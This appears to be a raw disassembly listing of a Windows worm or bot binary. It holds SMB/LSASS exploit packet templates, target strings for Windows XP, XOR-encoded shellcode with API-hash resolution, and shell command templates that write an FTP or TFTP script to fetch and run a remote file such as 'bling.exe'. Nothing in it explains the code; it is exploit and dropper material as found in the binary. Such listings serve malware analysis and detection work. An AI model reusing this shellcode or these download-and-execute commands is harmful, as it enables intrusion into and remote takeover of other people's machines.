		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42822C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4282AC	dd offset loc_401493+2	; DATA XREF: sub_403249+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_428340	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4283AC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_428420	dd 0			; DATA XREF: sub_403249+35Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4284E0	dd 1004600h		; DATA XREF: sub_403249+140r
					; sub_403249+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_428598	dd 0A0D7325h, 0		; DATA XREF: sub_4030E8+102o
					; sub_405144+DFo ...
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4030E8+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o
; ---------------------------------------------------------------------------


loc_428620:				; DATA XREF: sub_403249+177o
		jmp	short loc_428628
; ---------------------------------------------------------------------------
		jmp	short loc_42862A
; ---------------------------------------------------------------------------
		align 8


loc_428628:				; CODE XREF: ___:loc_428620j
					; DATA XREF: sub_403249+27o
		pop	esp
		pop	esp


loc_42862A:				; CODE XREF: ___:00428622j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_428634	dd 1CEC8166h		; DATA XREF: sub_403249+Dr
dword_428638	dd 0E4FF07h		; DATA XREF: sub_403249+16r
byte_42863C	db 90h			; DATA XREF: sub_403A90+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_428648	dd 10FF8h, 0		; DATA XREF: sub_403A90+6Ao
dword_428650	dd 10FF8h		; DATA XREF: sub_403A90+79o
dword_428654	dd 7FFDF020h, 0		; DATA XREF: sub_403A90+162o
dword_42865C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403EBA+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4286E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403EBA+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_428714	dd 0			; DATA XREF: sub_403EBA+44o
		dd 800000D4h, 0
unk_428720	db  81h	; 		; DATA XREF: sub_403F94+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_42876C	db 41h			; DATA XREF: sub_404032+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4287B0	proc near		; DATA XREF: ___:0040430Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4288AC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4288C2
		mov	[esi+8], eax
		call	sub_428875
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4288C2
		mov	[esi+0Ch], eax
		call	sub_428827
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4288C2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4287B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_428827	proc near		; CODE XREF: sub_4287B0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_428850
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_428827	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428850	proc near		; CODE XREF: sub_428827+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_42885F:				; CODE XREF: sub_428850+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42886C
		inc	ebx
		jmp	short loc_42885F
; ---------------------------------------------------------------------------


loc_42886C:				; CODE XREF: sub_428850+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_428850	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428875	proc near		; CODE XREF: sub_4287B0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_42888D:				; CODE XREF: sub_428875+1Ej
		cmp	[ecx], ebx
		jz	short loc_428895
		mov	ecx, [ecx]
		jmp	short loc_42888D
; ---------------------------------------------------------------------------


loc_428895:				; CODE XREF: sub_428875+1Aj
		mov	edx, edi


loc_428897:				; CODE XREF: sub_428875+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4288A1
		mov	edx, [edx+4]
		jmp	short loc_428897
; ---------------------------------------------------------------------------


loc_4288A1:				; CODE XREF: sub_428875+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_428875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288AC	proc near		; CODE XREF: sub_4287B0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4288AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288C2	proc near		; CODE XREF: sub_4287B0+16p
					; sub_4287B0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4288D8:				; CODE XREF: sub_4288C2+33j
		jecxz	short loc_428912
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4288E5:				; CODE XREF: sub_4288C2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4288F1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4288E5
; ---------------------------------------------------------------------------


loc_4288F1:				; CODE XREF: sub_4288C2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4288D8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_428912:				; CODE XREF: sub_4288C2:loc_4288D8j
					; sub_4288C2:loc_428912j
		jmp	short loc_428912
sub_4288C2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_428918	proc near		; DATA XREF: ___:004042BFo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42896A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_428935:				; CODE XREF: sub_428918+38j
		jecxz	short loc_428965
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_428940:				; CODE XREF: sub_428918+32j
		lodsb
		test	al, al
		jz	short loc_42894C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_428940
; ---------------------------------------------------------------------------


loc_42894C:				; CODE XREF: sub_428918+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_428935
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_428965:				; CODE XREF: sub_428918:loc_428935j
		mov	[esp+arg_0], ebx
		retn
sub_428918	endp


; =============== S U B	R O U T	I N E =======================================



sub_42896A	proc near		; CODE XREF: sub_428918+7p

; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_428983
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42898E
; ---------------------------------------------------------------------------


loc_428983:				; CODE XREF: sub_42896A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_42898E:				; CODE XREF: sub_42896A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4289A2
sub_42896A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428995	proc near		; CODE XREF: sub_42896A:loc_4289A2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_428995	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42896A


loc_4289A2:				; CODE XREF: sub_42896A+29j
		call	sub_428995


loc_4289A7:				; DATA XREF: sub_403A35+1Bo
					; sub_40EE72+822o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42896A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4289AC	dd 60h			; DATA XREF: sub_403A90+320o
dword_4289B0	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o
dword_4289BC	dd 30h			; DATA XREF: sub_403A90+2CAo
dword_4289C0	dd 0A1h			; DATA XREF: sub_403A90+29Fo
dword_4289C4	dd 3			; DATA XREF: sub_403A90+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_403A90+153o
		align 10h


loc_4289D0:				; DATA XREF: sub_403A90+E8o
		jmp	short near ptr dword_4289D8
; ---------------------------------------------------------------------------
		align 8
dword_4289D8	dd 0			; CODE XREF: ___:loc_4289D0j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: ___:004042E4o
					; sub_404F9A+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_428A50	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo
; ---------------------------------------------------------------------------


loc_428A5C:				; CODE XREF: ___:00428A66j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_428A5C
		inc	edi
		jz	short loc_428AA3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_428ACB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_428AA3:				; CODE XREF: ___:00428A69j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_428B02+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_428AC8:				; CODE XREF: ___:00428AF5j
		xor	[esi-25h], bl


loc_428ACB:				; CODE XREF: ___:00428A71j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_428AE4:				; CODE XREF: ___:00428B17j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_428AC8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_428B02:				; CODE XREF: ___:00428AA9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_428B8E
		jo	short loc_428AE4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_428B25+1
		add	bl, [edi]


loc_428B25:				; CODE XREF: ___:00428B21j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_428B3A+2
		cmp	ch, bh
		dec	edx


loc_428B3A:				; CODE XREF: ___:00428B35j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_428B8E:				; CODE XREF: ___:00428B15j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_428C14
		sub	al, 0BCh
		jmp	near ptr 54448F82h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_428BB0	dd 0EFFFC481h, 44FFFFh,	428BFCh	; DATA XREF: ___:00404BE6o
dword_428BBC	dd 42Ah			; DATA XREF: ___:00404B99r
dword_428BC0	dd 3E8h			; DATA XREF: ___:00404C0Ar
dword_428BC4	dd 258h			; DATA XREF: ___:00404BDCr
byte_428BC8	db 0			; DATA XREF: ___:00404B45r
					; ___:00404C13r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_428BE0	dd 20804h		; DATA XREF: sub_404853r ___:00404C31o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_428C14:				; CODE XREF: ___:00428B98j
		push	eax
		xor	al, 29h


loc_428C17:				; DATA XREF: ___:00404B6Do
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_428C20	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:00404A9Do
dword_428C34	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:00404A41o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o
		align 4
a_:					; DATA XREF: sub_406387+252o
		unicode	0, <.>,0
dword_428C60	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh	dup(64646464h)
		db 2 dup(64h)
word_429042	dw 6464h		; DATA XREF: ___:00428641o
		dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h
		dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h
		dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h	dup(69696969h)
		dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh)
		dd 16B6B6Bh, 6C6C6C01h,	8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh
		dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h
		dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h
		dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h
		dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh,	73941BC9h
		dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h
		dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h
		dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh
		dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h,	0E19A5097h
		dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh
		dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh
		dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh
		dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h
		dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h
		dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h,	14539B36h
		dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh,	0D62D8E93h
		dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h
		dd 5780EE37h, 4838E43h,	5180BD0Ch, 0EFAF269Ah, 0D87B5338h
		dd 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4


loc_429E74:				; DATA XREF: ___:00405319o
		add	al, 54h
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax


loc_429E92:				; CODE XREF: ___:00429EE2j
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		fmul	st(1), st
		mov	al, 42h
		jmp	short loc_429EE9
; ---------------------------------------------------------------------------
		dec	edx
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		and	[ecx], eax
		jo	short loc_429E92
		inc	edx
		add	[eax-52h], esi
		inc	edx


loc_429EE9:				; CODE XREF: ___:00429ED9j
		mov	edi, esp
		add	edi, 2Ch
		sub	sp, 204h
		xor	ecx, ecx
		mov	dl, 35h
		add	cx, 138h


loc_429EFC:				; CODE XREF: ___:00429F03j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_429EFC
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
		int	28h		; DOS 2+ internal - KEYBOARD BUSY LOOP
		test	eax, 79E4B9EBh
		inc	ebp
		loope	loc_429F4D
		lds	edx, [edx]
		adc	eax, 623D0515h
		db	66h
		pop	es
		push	6
		pop	es
		assume es:nothing
		sbb	esi, [ecx+79h]
		jns	short near ptr loc_429F59+3
		fidiv	word ptr [eax]
		fxch4	st(4)
		retf	0CACAh
; ---------------------------------------------------------------------------
		db 68h
		dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh,	0B83D4DBEh
		dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
		dec	ebp


loc_429F4D:				; CODE XREF: ___:00429F15j
		xor	al, 0CEh
		mov	esi, 0CC34297Eh
		mov	esi, 0CF341166h


loc_429F59:				; CODE XREF: ___:00429F26j
		db	64h, 67h
		mov	si, 156Eh
		xor	al, 0CEh
		add	al, 0FCh
		jz	short near ptr loc_429F67+2
		cmc
		lodsb


loc_429F67:				; CODE XREF: ___:00429F63j
		mov	esi, 0CB34BE01h
		cdq
		add	al, 0F7h
		in	al, 0D7h
		mov	cl, 0F5h
		inc	eax
		retn	833Ah
; ---------------------------------------------------------------------------
		db 70h
		dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
		dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
		dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
		dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
		dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
		dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
		dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h,	66A13930h
		dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
		dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
		dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_42A040	dw 7A69h		; DATA XREF: sub_405144+30r
		align 4
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_405144+97o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 10h
unk_42A0B0	db    2			; DATA XREF: ___:00405367o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
